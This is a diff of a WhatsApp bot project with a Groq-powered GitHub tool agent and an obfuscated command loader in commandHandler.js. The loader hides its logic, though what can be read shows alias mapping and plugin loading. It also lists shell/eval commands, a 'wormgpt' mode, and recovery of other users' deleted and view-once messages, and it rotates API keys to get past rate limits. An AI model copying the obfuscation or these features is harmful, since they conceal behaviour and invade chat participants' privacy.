+ { type: 'function', function: { name: 'upload_image_to_github', description: 'Upload the image sent/quoted by the user to a GitHub repository and return the link', parameters: { type: 'object', properties: { owner: { type: 'string' }, repo: { type: 'string', description: 'Which repo to upload to, default Fee-v7' } }, required: ['repo'] } } },
423
+ { type: 'function', function: { name: 'read_file', description: 'Read/check the content of a specific file in a GitHub repository', parameters: { type: 'object', properties: { owner: { type: 'string' }, repo: { type: 'string' }, file_path: { type: 'string', description: 'Path to file like src/index.js or README.md' } }, required: ['owner', 'repo', 'file_path'] } } },
424
+ { type: 'function', function: { name: 'get_auth_user', description: 'Get info about the authenticated GitHub user — name, repo count, followers etc. Do NOT call this to find repo names.', parameters: { type: 'object', properties: {} } } },
425
+ { type: 'function', function: { name: 'get_repo_info', description: 'Get details about a specific GitHub repository', parameters: { type: 'object', properties: { owner: { type: 'string' }, repo: { type: 'string' } }, required: ['owner', 'repo'] } } },
426
+ { type: 'function', function: { name: 'list_branches', description: 'List branches of a GitHub repository', parameters: { type: 'object', properties: { owner: { type: 'string' }, repo: { type: 'string' } }, required: ['owner', 'repo'] } } },
427
+ { type: 'function', function: { name: 'create_issue', description: 'Create an issue in a GitHub repository', parameters: { type: 'object', properties: { owner: { type: 'string' }, repo: { type: 'string' }, title: { type: 'string' }, body: { type: 'string' } }, required: ['owner', 'repo', 'title'] } } },
428
+ { type: 'function', function: { name: 'star_repo', description: 'Star a GitHub repository', parameters: { type: 'object', properties: { owner: { type: 'string' }, repo: { type: 'string' } }, required: ['owner', 'repo'] } } }
429
+ ];
430
+
431
+ async function callGroq(msgs, useTools) {
432
+ const payload = { model: 'llama-3.3-70b-versatile', messages: msgs, max_tokens: 1024 };
433
+ if (useTools) { payload.tools = tools; payload.tool_choice = 'auto'; payload.parallel_tool_calls = false; }
434
+ let currentKey = GROQ_KEY;
435
+ for (let attempt = 0; attempt < 5; attempt++) {
436
+ const res = await fetch('https://api.groq.com/openai/v1/chat/completions', {
437
+ method: 'POST',
438
+ headers: { 'Authorization': `Bearer ${currentKey}`, 'Content-Type': 'application/json' },
439
+ body: JSON.stringify(payload)
440
+ });
441
+ if (res.status === 429 || res.status === 401 || res.status === 403) {
442
+ if (_markKeyFailed) _markKeyFailed(currentKey);
443
+ const nextKey = _getNextKey ? _getNextKey() : null;
444
+ if (!nextKey || nextKey === currentKey) return res;
445
+ currentKey = nextKey;
446
+ continue;
447
+ }
448
+ return res;
449
+ }
450
+ return fetch('https://api.groq.com/openai/v1/chat/completions', {
451
+ method: 'POST',
452
+ headers: { 'Authorization': `Bearer ${currentKey}`, 'Content-Type': 'application/json' },
453
+ body: JSON.stringify(payload)
454
+ });
455
+ }
456
+
457
+ try {
458
+ const history = getHistory(m.sender);
459
+ const lastRepo = getLastRepo(m.sender);
460
+ const userContent = body || (pendingImageBuf ? 'upload this image to github' : 'what can you do?');
461
+ const systemPrompt = buildSystemPrompt(lastRepo);
462
+
463
+ let turnMessages = [
464
+ { role: 'system', content: systemPrompt },
465
+ ...history,
466
+ { role: 'user', content: userContent }
467
+ ];
468
+ pushHistory(m.sender, 'user', userContent);
469
+
470
+ let finalReply = '';
471
+ let toolsRan = [];
472
+
473
+ for (let turn = 0; turn < MAX_TOOL_TURNS; turn++) {
474
+ let res = await callGroq(turnMessages, true);
475
+
476
+ if (!res.ok) {
477
+ const err = await res.json().catch(() => ({}));
478
+ const _errCode = err?.error?.code || '';
479
+ const _errMsg = err?.error?.message || '';
480
+ if (_errCode === 'tool_use_failed' && err?.error?.failed_generation) {
481
+ const fg = err.error.failed_generation;
482
+ const fm = fg.match(/<function=([^=<>\s]+?)=?(\{[\s\S]*?\})<\/function>/);
483
+ if (fm) {
484
+ try {
485
+ const args = JSON.parse(fm[2]);
486
+ const toolResult = await executeTool(fm[1].trim(), args);
487
+ toolsRan.push(toolResult);
488
+ turnMessages.push({ role: 'assistant', content: `[executed ${fm[1]}]` });
489
+ turnMessages.push({ role: 'user', content: `Tool result: ${toolResult}\nNow give your final reply.` });
490
+ continue;
491
+ } catch {}
492
+ }
493
+ }
494
+ if (turn === 0) {
495
+ const _fb = await callGroq([...turnMessages], false).catch(() => null);
496
+ if (_fb?.ok) {
497
+ const _fbData = await _fb.json().catch(() => ({}));
498
+ const _fbContent = _fbData.choices?.[0]?.message?.content?.trim() || '';
499
+ if (_fbContent) { finalReply = stripEmbeddedFuncTags(_fbContent); break; }
500
+ }
501
+ }
502
+ finalReply = 'something went wrong 😒 try again';
503
+ break;
504
+ }
505
+
506
+ const data = await res.json();
507
+ const choice = data.choices?.[0];
508
+ if (!choice) break;
509
+
510
+ if (choice.finish_reason === 'tool_calls' && choice.message?.tool_calls?.length) {
511
+ const toolCall = choice.message.tool_calls[0];
512
+ const toolName = toolCall.function.name;
513
+ let args = {};
514
+ try { args = JSON.parse(toolCall.function.arguments || '{}'); } catch {}
515
+ let toolResult = '';
516
+ try { toolResult = await executeTool(toolName, args); toolsRan.push(toolResult); }
517
+ catch { toolResult = 'ran into an error 😒'; }
518
+ turnMessages.push(choice.message);
519
+ turnMessages.push({ role: 'tool', tool_call_id: toolCall.id, content: toolResult });
520
+ } else {
521
+ const rawContent = choice.message?.content?.trim() || '';
522
+ if (rawContent.includes('<function=')) {
523
+ const embedded = await processEmbeddedCalls(rawContent, executeTool);
524
+ if (embedded) { toolsRan.push(...embedded.results); finalReply = stripEmbeddedFuncTags(embedded.cleaned); }
525
+ else finalReply = stripEmbeddedFuncTags(rawContent);
526
+ } else {
527
+ finalReply = rawContent;
528
+ }
529
+ break;
530
+ }
531
+ }
532
+
533
+ if (!finalReply) {
534
+ finalReply = toolsRan.length ? toolsRan.join('\n') : 'something went sideways 🤦';
535
+ }
536
+
537
+ if (finalReply && toolsRan.length) {
538
+ for (const _tr of toolsRan) {
539
+ const _ghM = String(_tr).match(/https:\/\/github\.com\/\S+/);
540
+ if (_ghM && !finalReply.includes(_ghM[0])) finalReply += `\n\n${_ghM[0]}`;
541
+ }
542
+ }
543
+
544
+ pushHistory(m.sender, 'assistant', finalReply);
545
+ await client.sendMessage(m.chat, { text: boxWrap(finalReply, 'FEEAGENT') }, { quoted: fq });
546
+ if (imageUploadedUrl) {
547
+ await client.sendMessage(m.chat, {
548
+ text: `╭━━━ᕙ FEE-XMD ᕗ━━━\n├━━━≫ IMAGE UPLOADED ≪━━━\n├\n├ 🔗 ${imageUploadedUrl}\n╰━━━━━━━━���━━━━━━━ᕗ\n> ©𝖕𝖔𝖜𝖊𝖗𝖊𝖉 𝖇𝖞 𝖋𝖗𝖊𝖉𝖎_𝖊𝖟𝖗𝖆`
549
+ }, { quoted: fq });
550
+ }
551
+ try { await client.sendMessage(m.chat, { react: { text: '✅', key: m.reactKey } }); } catch {}
552
+
553
+ } catch (err) {
554
+ try { await client.sendMessage(m.chat, { react: { text: '❌', key: m.reactKey } }); } catch {}
555
+ await client.sendMessage(m.chat, { text: boxWrap('ran into an error, wtf 🙄 try again.', 'FEEAGENT') }, { quoted: fq });
556
+ }
557
+ };
FEE-XMD-main/features/gcPresence.js ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { getGroupSettings } from '../database/config.js';
2
+
3
+ export default async (client, m) => {
4
+ if (!m.isGroup) return;
5
+
6
+ const groupSettings = await getGroupSettings(m.chat);
7
+ const gcpresence = groupSettings?.gcpresence;
8
+ if (gcpresence) {
9
+ let presenceTypes = ["recording", "composing"];
10
+ let selectedPresence = presenceTypes[Math.floor(Math.random() * presenceTypes.length)];
11
+ try {
12
+ await client.sendPresenceUpdate(selectedPresence, m.chat);
13
+ } catch (e) {
14
+ }
15
+ }
16
+ };
FEE-XMD-main/features/status_saver.js ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ export default async (client, m, Owner, prefix) => {
2
+ };
3
+
FEE-XMD-main/fredi.jpg ADDED

Git LFS Details

  • SHA256: 6b2a7bd55f922b42c7b125270ef657edd78c2d3439bdc91e30548bdc5a6a5fbb
  • Pointer size: 131 Bytes
  • Size of remote file: 123 kB
FEE-XMD-main/handlers/commandHandler.js ADDED
@@ -0,0 +1 @@
 
 
1
+ const _0x547959=_0x4c6f;(function(_0x3010ef,_0xc19243){const _0x467ba4=_0x4c6f,_0x4c4994=_0x3010ef();while(!![]){try{const _0x403802=-parseInt(_0x467ba4(0x296))/(0x240d*-0x1+0xd*-0x107+0x1*0x3169)*(parseInt(_0x467ba4(0x235))/(-0x5*-0x3e5+-0xc1*-0x1+-0x4*0x50e))+-parseInt(_0x467ba4(0x298))/(-0x1976+-0xdf4*0x2+0x3561)*(-parseInt(_0x467ba4(0x270))/(0x2307+0xa16*-0x3+-0x4c1*0x1))+parseInt(_0x467ba4(0x125))/(0x2b*-0x12+0x111*-0x1f+0x241a)+-parseInt(_0x467ba4(0x2a1))/(-0xcd8+0x6f2+-0x4*-0x17b)*(parseInt(_0x467ba4(0x207))/(-0x10f9+0x2523*-0x1+0x3623))+parseInt(_0x467ba4(0x215))/(-0x3c2*-0x1+-0x1860+-0x2*-0xa53)*(parseInt(_0x467ba4(0x18e))/(0x2*0x86f+-0x8c+0x1*-0x1049))+-parseInt(_0x467ba4(0x1df))/(-0x1*0x22c7+0x5*0x7bb+-0x1*0x3d6)*(parseInt(_0x467ba4(0x12c))/(0xa0b+-0x104a+0x64a*0x1))+parseInt(_0x467ba4(0x1cf))/(0x1e99*-0x1+0x3*0x665+0xa3*0x12)*(parseInt(_0x467ba4(0x2b3))/(0x26aa+-0x621*0x1+-0x207c));if(_0x403802===_0xc19243)break;else _0x4c4994['push'](_0x4c4994['shift']());}catch(_0x878f99){_0x4c4994['push'](_0x4c4994['shift']());}}}(_0x3a5c,0x5b930+0x66f29+-0x3907b));import _0x22e947 from'fs';import _0x64611c from'path';import{fileURLToPath}from'url';import{dirname}from'path';const __filename=fileURLToPath(import.meta.url),__dirname=dirname(__filename),EXTRA_ALIASES={'fbdl':['fb',_0x547959(0x146),_0x547959(0x26a),_0x547959(0x144),_0x547959(0x28c)],'igdl':['ig',_0x547959(0x1cb),_0x547959(0x23c),_0x547959(0x1d9),_0x547959(0x19d)],'tikdl':[_0x547959(0x150),_0x547959(0x187),'tt',_0x547959(0x1ec),_0x547959(0x128)],'tikaudio':[_0x547959(0x179),_0x547959(0x17b),_0x547959(0x1be),_0x547959(0x291)],'twtdl':[_0x547959(0x185),'tw',_0x547959(0x123),_0x547959(0x171),_0x547959(0x193),_0x547959(0x175),'x'],'ytmp3':[_0x547959(0x18f),_0x547959(0x13d),_0x547959(0x115),_0x547959(0x15e),_0x547959(0x13b)],'ytmp4':[_0x547959(0x273),_0x547959(0x17c)+'eo',_0x547959(0x154),_0x547959(0x1ba),_0x547959(0x241),_0x547959(0x154)],'yt':[_0x547959(0x241),_0x547959(0x258),_0x547959(0x219)],'yts':[_0x547959(0x2b2),_0x547959(0x275),_0x547959(0x1b5),_0x547959(0x238),_0x547959(0x13c)+_0x547959(0x20e)],'play':[_0x547959(0x299),_0x547959(0x161),'pl',_0x547959(0x24d),_0x547959(0x20f)],'video':[_0x547959(0x1a7),_0x547959(0x297)],'alldl':[_0x547959(0x1bb),_0x547959(0x200),_0x547959(0x244)+'l'],'igstory':[_0x547959(0x1f4),_0x547959(0x214)],'spotify':[_0x547959(0x1aa),_0x547959(0x2ba),_0x547959(0x16f),_0x547959(0x21a)+'g'],'soundcloud':[_0x547959(0x135),'sc',_0x547959(0x189)+'dl'],'pinterest':[_0x547959(0x1e2),_0x547959(0x22a)+'mg',_0x547959(0x26f),_0x547959(0x1fd)],'mediafire':['mf',_0x547959(0x1ab),_0x547959(0x27f)],'gitclone':[_0x547959(0x25a),_0x547959(0x223),_0x547959(0x181)],'capcut':[_0x547959(0x2af),_0x547959(0x27c)],'threads':[_0x547959(0x14d),_0x547959(0x2b4)],'bilibili':[_0x547959(0x2ad),_0x547959(0x16b),_0x547959(0x246),_0x547959(0x151)],'snackvideo':[_0x547959(0x119),_0x547959(0x268),_0x547959(0x290)],'apk':[_0x547959(0x288),_0x547959(0x25e),_0x547959(0x2b9)],'shazam':[_0x547959(0x261),_0x547959(0x272),_0x547959(0x1a0),_0x547959(0x274),_0x547959(0x1ff),_0x547959(0x22f),_0x547959(0x2b5),_0x547959(0x16a)],'blocklist':[_0x547959(0x1e8),'lb',_0x547959(0x2aa)+'t',_0x547959(0x176)],'sticker':['s',_0x547959(0x131),_0x547959(0x1d3),_0x547959(0x29c)],'toimg':[_0x547959(0x1f2),_0x547959(0x239)+'mg',_0x547959(0x12b)],'attp':[_0x547959(0x249),_0x547959(0x12f)+'r'],'promote':[_0x547959(0x14f),_0x547959(0x1d0),_0x547959(0x14c)+'r',_0x547959(0x1d0)],'demote':[_0x547959(0x1b0),_0x547959(0x1f5)+'n',_0x547959(0x229),_0x547959(0x2bb),_0x547959(0x277)],'remove':[_0x547959(0x212),_0x547959(0x15c)+'er',_0x547959(0x1c4),_0x547959(0x252),_0x547959(0x2a7),'k'],'add':[_0x547959(0x19f),_0x547959(0x1b1)],'link':[_0x547959(0x26d),_0x547959(0x15f),_0x547959(0x21e),_0x547959(0x139),_0x547959(0x1d2),_0x547959(0x19c)],'revoke':[_0x547959(0x1bc),_0x547959(0x222),_0x547959(0x1bf),_0x547959(0x2b8)],'tagall':[_0x547959(0x195),_0x547959(0x27b),_0x547959(0x1f1),_0x547959(0x202)],'tagadmins':[_0x547959(0x2a9),_0x547959(0x158),_0x547959(0x248)+_0x547959(0x210),_0x547959(0x254)],'warn':[_0x547959(0x1fb),_0x547959(0x1d8)],'close':[_0x547959(0x289),_0x547959(0x243)],'open':[_0x547959(0x174),_0x547959(0x29b)+'p',_0x547959(0x192)],'ping':['p',_0x547959(0x188),_0x547959(0x143),_0x547959(0x1f7),_0x547959(0x1ee),'px'],'menu':[_0x547959(0x216),_0x547959(0x20d),_0x547959(0x266),'m'],'start':[_0x547959(0x1fa),_0x547959(0x14e),_0x547959(0x1a6)],'help':['h',_0x547959(0x129),_0x547959(0x1d7)],'eval':['ev',_0x547959(0x1c8)],'shell':['sh',_0x547959(0x25b),_0x547959(0x141),_0x547959(0x1f8)],'restart':[_0x547959(0x27e),'rs',_0x547959(0x206),_0x547959(0x194)],'stickerwm':['wm',_0x547959(0x156),_0x547959(0x164)+'k'],'tr':[_0x547959(0x12d),'tl',_0x547959(0x21b),_0x547959(0x203)],'togif':[_0x547959(0x250),_0x547959(0x255)],'gpt':[_0x547959(0x1da),_0x547959(0x221),'ai'],'gemini':[_0x547959(0x2ab),_0x547959(0x1c2)],'groq':[_0x547959(0x225)],'image':[_0x547959(0x23f),_0x547959(0x2a8),_0x547959(0x23a)+'e',_0x547959(0x27d)],'google':[_0x547959(0x13f),_0x547959(0x23b)+'ch'],'wiki':[_0x547959(0x133),_0x547959(0x22c),'wp'],'lyrics':[_0x547959(0x127),_0x547959(0x177),_0x547959(0x167)],'movie':[_0x547959(0x17d),_0x547959(0x180),_0x547959(0x198)],'github':['gh',_0x547959(0x1a8),_0x547959(0x23e)],'npm':[_0x547959(0x1cd),_0x547959(0x20b)+'e'],'wallpaper':[_0x547959(0x26e)+'mg',_0x547959(0x284)],'uptime':['up','ut',_0x547959(0x1a2),_0x547959(0x29d),_0x547959(0x11e),_0x547959(0x263)],'profile':['me',_0x547959(0x28a),_0x547959(0x25d),_0x547959(0x11d)],'settings':[_0x547959(0x11f),_0x547959(0x1c1),_0x547959(0x211)+'s',_0x547959(0x26c),_0x547959(0x196),_0x547959(0x12a),_0x547959(0x205)],'ban':[_0x547959(0x182),_0x547959(0x124)],'unban':[_0x547959(0x29e),_0x547959(0x204)],'broadcast':['bc',_0x547959(0x29f)],'block':[_0x547959(0x236),_0x547959(0x190),_0x547959(0x253)],'unblock':[_0x547959(0x1a1)+'r',_0x547959(0x293)],'joingc':[_0x547959(0x247),_0x547959(0x1cc)],'leavegc':[_0x547959(0x116),_0x547959(0x286),_0x547959(0x1b7)],'del':[_0x547959(0x132),'d'],'screenshot':['ss',_0x547959(0x259)],'retrieve':['vv','xd',_0x547959(0x159)],'checkid':['id',_0x547959(0x140),_0x547959(0x2a2)],'fullpp':['pp',_0x547959(0x257),_0x547959(0x11b)],'kill':[_0x547959(0x163)],'botgc':[_0x547959(0x15a),_0x547959(0x29a),_0x547959(0x160),_0x547959(0x226),'tg','lg'],'darkgpt':[_0x547959(0x18b),_0x547959(0x165)],'toghibli':[_0x547959(0x118)],'clear':[_0x547959(0x157),_0x547959(0x25c)],'pin':[_0x547959(0x208),_0x547959(0x147)],'oadmin':[_0x547959(0x240)],'prefix':[_0x547959(0x24b)],'getcmd':[_0x547959(0x24e)],'telesticker':['ts'],'autoview':[_0x547959(0x295)+_0x547959(0x1e1),_0x547959(0x262),_0x547959(0x224),_0x547959(0x153)],'anticall':[_0x547959(0x24a)+'y',_0x547959(0x2a0),_0x547959(0x256),_0x547959(0x1d1)],'antidelete':[_0x547959(0x117),_0x547959(0x145),_0x547959(0x1ea),_0x547959(0x2b6)+_0x547959(0x2a6)],'antiedit':[_0x547959(0x230),_0x547959(0x218),_0x547959(0x27a),_0x547959(0x217)],'antiviewonce':[_0x547959(0x279),'vo',_0x547959(0x186),_0x547959(0x28d),_0x547959(0x294)+_0x547959(0x264)],'autolike':[_0x547959(0x178),_0x547959(0x25f),_0x547959(0x280),_0x547959(0x16e)],'autoread':[_0x547959(0x173),_0x547959(0x15b),_0x547959(0x287),_0x547959(0x122)],'autobio':[_0x547959(0x20c),_0x547959(0x1c0),_0x547959(0x1e0),_0x547959(0x18c)],'stealth':[_0x547959(0x1dc),_0x547959(0x282),_0x547959(0x234)+'e',_0x547959(0x1de)],'multiprefix':[_0x547959(0x251),_0x547959(0x18a),_0x547959(0x1c5),_0x547959(0x233)],'antitag':[_0x547959(0x169),_0x547959(0x1b9),_0x547959(0x19a),_0x547959(0x22e)],'antiforeign':[_0x547959(0x1d6),_0x547959(0x2a3),_0x547959(0x184)+'ck',_0x547959(0x16d)+'n'],'gcpresence':[_0x547959(0x1b3),_0x547959(0x271)+'s',_0x547959(0x1ad)+_0x547959(0x126),_0x547959(0x16c)],'chatbotpm':[_0x547959(0x1af),_0x547959(0x1a3),_0x547959(0x201),_0x547959(0x142)],'autoai':[_0x547959(0x1b8),_0x547959(0x11a),_0x547959(0x26b),_0x547959(0x162)],'presence':[_0x547959(0x1ef),_0x547959(0x1e7)+'us',_0x547959(0x13a),_0x547959(0x265)],'reaction':[_0x547959(0x17a),_0x547959(0x1f6),_0x547959(0x1f9)+'i',_0x547959(0x28b)],'stickerwm':[_0x547959(0x1f3)+'k',_0x547959(0x278)+'e',_0x547959(0x1c3)],'stats':[_0x547959(0x2a5),_0x547959(0x2b7),_0x547959(0x136),_0x547959(0x2ae),_0x547959(0x168)],'messageprivacy':[_0x547959(0x1c6)],'addsudo':[_0x547959(0x2a4)],'delsudo':[_0x547959(0x17f)],'promoteall':[_0x547959(0x1dd)],'demoteall':[_0x547959(0x277)],'reaction':[_0x547959(0x28b)],'xreact':[_0x547959(0x20e)],'listonline':[_0x547959(0x231),_0x547959(0x1f0)+_0x547959(0x281),_0x547959(0x199)+_0x547959(0x281)],'approve':[_0x547959(0x148)],'warncount':['wc',_0x547959(0x1fb)],'resetwarn':['rw',_0x547959(0x12e)],'setwarncount':[_0x547959(0x1a4),_0x547959(0x121),_0x547959(0x1ae)],'mode':[_0x547959(0x28f),_0x547959(0x21c)],'device':[_0x547959(0x183),_0x547959(0x152),_0x547959(0x155),_0x547959(0x227),_0x547959(0x24c)+'m'],'upx':[_0x547959(0x120),_0x547959(0x197)+'a'],'upload':[_0x547959(0x260),_0x547959(0x276),_0x547959(0x15d),_0x547959(0x17e)],'base64':[_0x547959(0x137),_0x547959(0x292),_0x547959(0x269),_0x547959(0x267),_0x547959(0x1e4),_0x547959(0x19b),_0x547959(0x1eb),_0x547959(0x242)],'ngc':[_0x547959(0x1b4),_0x547959(0x213)+'e',_0x547959(0x21d),_0x547959(0x1c9),_0x547959(0x13e)+'p'],'ginfo':[_0x547959(0x220),_0x547959(0x245),_0x547959(0x1d5),_0x547959(0x285),_0x547959(0x1e3)],'wabot':[_0x547959(0x18d),_0x547959(0x24f),_0x547959(0x166),_0x547959(0x1e6)+_0x547959(0x19e)],'disappearing':[_0x547959(0x28e),_0x547959(0x23d),_0x547959(0x2ac),_0x547959(0x2b1),_0x547959(0x14b),_0x547959(0x1d4),_0x547959(0x228),_0x547959(0x22b)]};function fixPluginFiles(_0x13b20f){const _0x541afb=_0x547959;try{const _0x20868d=_0x22e947[_0x541afb(0x11c)+'c'](_0x13b20f);for(const _0xac89d2 of _0x20868d){const _0x394aa8=_0x64611c[_0x541afb(0x247)](_0x13b20f,_0xac89d2),_0x4bd234=_0x22e947[_0x541afb(0x134)](_0x394aa8);if(_0x4bd234[_0x541afb(0x1c7)+'y']())fixPluginFiles(_0x394aa8);else{if(_0xac89d2[_0x541afb(0x1fe)](_0x541afb(0x1ac))){let _0x33ec2a=_0x22e947[_0x541afb(0x191)+'nc'](_0x394aa8,_0x541afb(0x232)),_0x27e343=_0x33ec2a;_0x27e343=_0x27e343[_0x541afb(0x1e9)](/^[ \t]+import /gm,_0x541afb(0x1fc)),_0x27e343=_0x27e343[_0x541afb(0x1e9)](/^[ \t]+export default /gm,_0x541afb(0x1b2)+_0x541afb(0x2b0)),_0x27e343=_0x27e343[_0x541afb(0x1e9)](/^[ \t]+export /gm,_0x541afb(0x22d)),_0x27e343!==_0x33ec2a&&_0x22e947[_0x541afb(0x170)+_0x541afb(0x1b6)](_0x394aa8,_0x27e343);}}}}catch(_0x1d0018){}}const pluginsPath=_0x64611c[_0x547959(0x247)](__dirname,'..',_0x547959(0x138));_0x22e947[_0x547959(0x1ce)](pluginsPath)&&fixPluginFiles(pluginsPath);export const commands={};function _0x4c6f(_0x50b311,_0x467ed0){_0x50b311=_0x50b311-(0x51a*0x6+-0x262+0x1*-0x1b25);const _0x2feed9=_0x3a5c();let _0x2401d3=_0x2feed9[_0x50b311];return _0x2401d3;}export const aliases={};export let totalCommands=-0x992+0x13*-0x19c+0x2826;function _0x3a5c(){const _0x2ebe08=['onlinememb','mention','toimage','stickerpac','igstory','removeadmi','likeemoji','response','exec','statusemoj','alive','warns','import\x20','pint','endsWith','findmusic','anylink','pmbot','mentionall','trt','unbanuser','bset','redeploy','3465574nWqhEH','pinmsg','file://','aliases','nodepackag','bio','list','rch','song','ins','botsetting','kick','groupcreat','instastory','40LDIuXT','commands','edittrack','noedit','ytdown','spotifyson','trans','setmode','creategc','gclink','function','groupinfo','openai','revokelink','gitdown','autostatus','groqai','totalgroup','deviceset','vanish','deadmin','pinteresti','gcvanish','wikisearch','export\x20','blocktag','fmusic','antied','whoonline','utf8','anyprefix','stealthmod','1080612puHeuE','blockuser','message','search','stickertoi','searchimag','googlesear','insta','disap','gitinfo','img','admin','youtube','b64decode','mutegroup','universald','gcinfo','bvideo','join','mentionadm','attp','callprivac','setprefix','setplatfor','music','cmd','addwabot','tomp4','multipfx','yeet','die','tagadminto','giftomp4','nocall','setpp','ytdl','ssweb','gclone','bash','wipe','getpp','apkdl','autoreact','tourl','identify','view','howlong','otect','setonline','cmds','unbase64','snackvid','encode64','fbvideo','aimode','mysettings','invitelink','wallpaperi','pindl','3634072yCqijq','groupstatu','songid','ytvideo','whatmusic','ytsrch','mediaurl','dall','stickernam','viewonce','trackedit','everyone','capcutdl','imgsearch','reboot','medfire','statuslike','ers','invisible','load\x20plugi','bgimage','gmetadata','leavegroup','autoblue','apkdown','mute','myprofile','reactemoji','facedown','avoice','disappear','botmode','sck','tikmusic','b64','ublk','viewoncepr','autoviewst','1dOvZaR','videodl','3PmiFsl','ply','listgroup','unmutegrou','make','runtime','whitelist','announce','callpriv','6IIgxUH','idch','antifor','addowner','stat','ete','boot','pic','admins','blockedlis','bard','dsp','bili','statistics','cap','ault\x20','gvanish','ytsearch','507hOEnGC','tdl','getmusic','recoverdel','botstats','reset','app','spoti','demoteuser','youtubemp3','leave','antidel','ghibli','snack','smartai','setprofile','readdirSyn','whois','botuptime','config','ghupload','setwarn','readall','xdl','banuser','2282940VUBOiD','nce','lyric','tiktokvid','info','setup','stkimg','11TZuEsi','translate','clearwarn','textsticke','default','stk','delete','wikipedia','statSync','scdl','botstat','tobase64','plugins','invite','setstatus','yta','youtubesea','ytmusic','creategrou','gsearch','cekid','terminal','dmai','latency','fbdownload','nodel','facebook','unpin','approveall','log','ound','timer','promoteuse','threadsdl','online','makeadmin','tiktok','bvdl','devicemode','statusview','ytv','platform','watermark','clearchat','calladmins','rvo','groups','automark','removememb','geturl','ytm3','grouplink','listgroups','playy','airespond','kickall','stickermar','worm','gcaibot','lrc','botinfo','notag','gmusic','bilibilitv','gcp','kickforeig','likeall','spt','writeFileS','xvideo','basename','autotick','unmute','twdl','myblocked','songlyrics','autolik','tikaudio','setemoji','tikmp3','youtubevid','film','fileurl','delowner','imdb','clonegit','blacklist','setdevice','foreignblo','twitter','antionce','tik','speed','soundcloud','multipref','wormgpt','autobio','addaibot','727209dZsRAR','ytaudio','blk','readFileSy','opengroup','tweet','update','all','setting','uploadmedi','movieinfo','activememb','tagprotect','frombase64','linkgroup','igdownload','pbot','addmember','detectsong','unblockuse','servertime','aipm','swc','name','fredi','vid','git','isArray','spotifydl','mfiredl','.js','groupprese','warnlimit','chatbot','unadmin','adduser','export\x20def','gcpres','newgc','yttitle','ync','left','aireply','tagprot','ytmp4dl','alldl','resetlink','alias','tiktokmp3','newlink','setbio','botconfig','google-ai','packname','removefrom','allprefix','msgprivacy','isDirector','evl','newgroup','Failed\x20to\x20','instagram','joingroup','npminfo','existsSync','208968TcmdxI','addadmin','callblock','linkgc','stkr','ephemeral','groupmeta','foreign','usage','warnlist','igvideo','chatgpt','lder\x20not\x20f','ghost','pall','hideme','8497030xuDYTX','updatebio','atus','pin','gcmeta','debase64','Plugins\x20fo','addwhatsap','onlinestat','listblock','replace','savedel','decode64','ttdl','run','pong','setpres'];_0x3a5c=function(){return _0x2ebe08;};return _0x3a5c();}export const commandsReady=((async()=>{const _0x488fc9=_0x547959,_0x3a40b3=_0x64611c[_0x488fc9(0x247)](__dirname,'..',_0x488fc9(0x138));if(!_0x22e947[_0x488fc9(0x1ce)](_0x3a40b3)){console[_0x488fc9(0x149)](_0x488fc9(0x1e5)+_0x488fc9(0x1db)+_0x488fc9(0x14a));return;}async function _0x17ce4d(_0x179584){const _0x444774=_0x488fc9,_0x4122e5=_0x22e947[_0x444774(0x11c)+'c'](_0x179584);for(const _0x1ddcfb of _0x4122e5){const _0x43e792=_0x64611c[_0x444774(0x247)](_0x179584,_0x1ddcfb),_0x3c70bf=_0x22e947[_0x444774(0x134)](_0x43e792);if(_0x3c70bf[_0x444774(0x1c7)+'y']())await _0x17ce4d(_0x43e792);else{if(_0x1ddcfb[_0x444774(0x1fe)](_0x444774(0x1ac)))try{const _0x202220=await import(_0x444774(0x209)+_0x43e792),_0x5dc6a0=_0x202220[_0x444774(0x130)];if(Array[_0x444774(0x1a9)](_0x5dc6a0))for(const _0x145600 of _0x5dc6a0){if(_0x145600&&_0x145600[_0x444774(0x1a5)]&&typeof _0x145600[_0x444774(0x1ed)]===_0x444774(0x21f)){commands[_0x145600[_0x444774(0x1a5)]]=_0x145600[_0x444774(0x1ed)],totalCommands++;const _0x192f3f=[..._0x145600[_0x444774(0x20a)]||[],..._0x145600[_0x444774(0x1bd)]||[],...EXTRA_ALIASES[_0x145600[_0x444774(0x1a5)]]||[]];for(const _0x3c14c4 of _0x192f3f){if(!aliases[_0x3c14c4])aliases[_0x3c14c4]=_0x145600[_0x444774(0x1a5)];}}}else{if(typeof _0x5dc6a0===_0x444774(0x21f)){const _0xd33c2f=_0x64611c[_0x444774(0x172)](_0x1ddcfb,_0x444774(0x1ac));commands[_0xd33c2f]=_0x5dc6a0,totalCommands++;const _0x2b58af=[...EXTRA_ALIASES[_0xd33c2f]||[]];for(const _0x4828bc of _0x2b58af){if(!aliases[_0x4828bc])aliases[_0x4828bc]=_0xd33c2f;}}else{if(_0x5dc6a0&&_0x5dc6a0[_0x444774(0x1a5)]&&typeof _0x5dc6a0[_0x444774(0x1ed)]===_0x444774(0x21f)){commands[_0x5dc6a0[_0x444774(0x1a5)]]=_0x5dc6a0[_0x444774(0x1ed)],totalCommands++;const _0x19dc66=[..._0x5dc6a0[_0x444774(0x20a)]||[],..._0x5dc6a0[_0x444774(0x1bd)]||[],...EXTRA_ALIASES[_0x5dc6a0[_0x444774(0x1a5)]]||[]];for(const _0x43737f of _0x19dc66){if(!aliases[_0x43737f])aliases[_0x43737f]=_0x5dc6a0[_0x444774(0x1a5)];}}}}}catch(_0x5ade45){console[_0x444774(0x149)](_0x444774(0x1ca)+_0x444774(0x283)+'n\x20'+_0x1ddcfb+':',_0x5ade45[_0x444774(0x237)]);}}}}await _0x17ce4d(_0x3a40b3);})());
FEE-XMD-main/handlers/connectionHandler.js ADDED
@@ -0,0 +1 @@
 
 
1
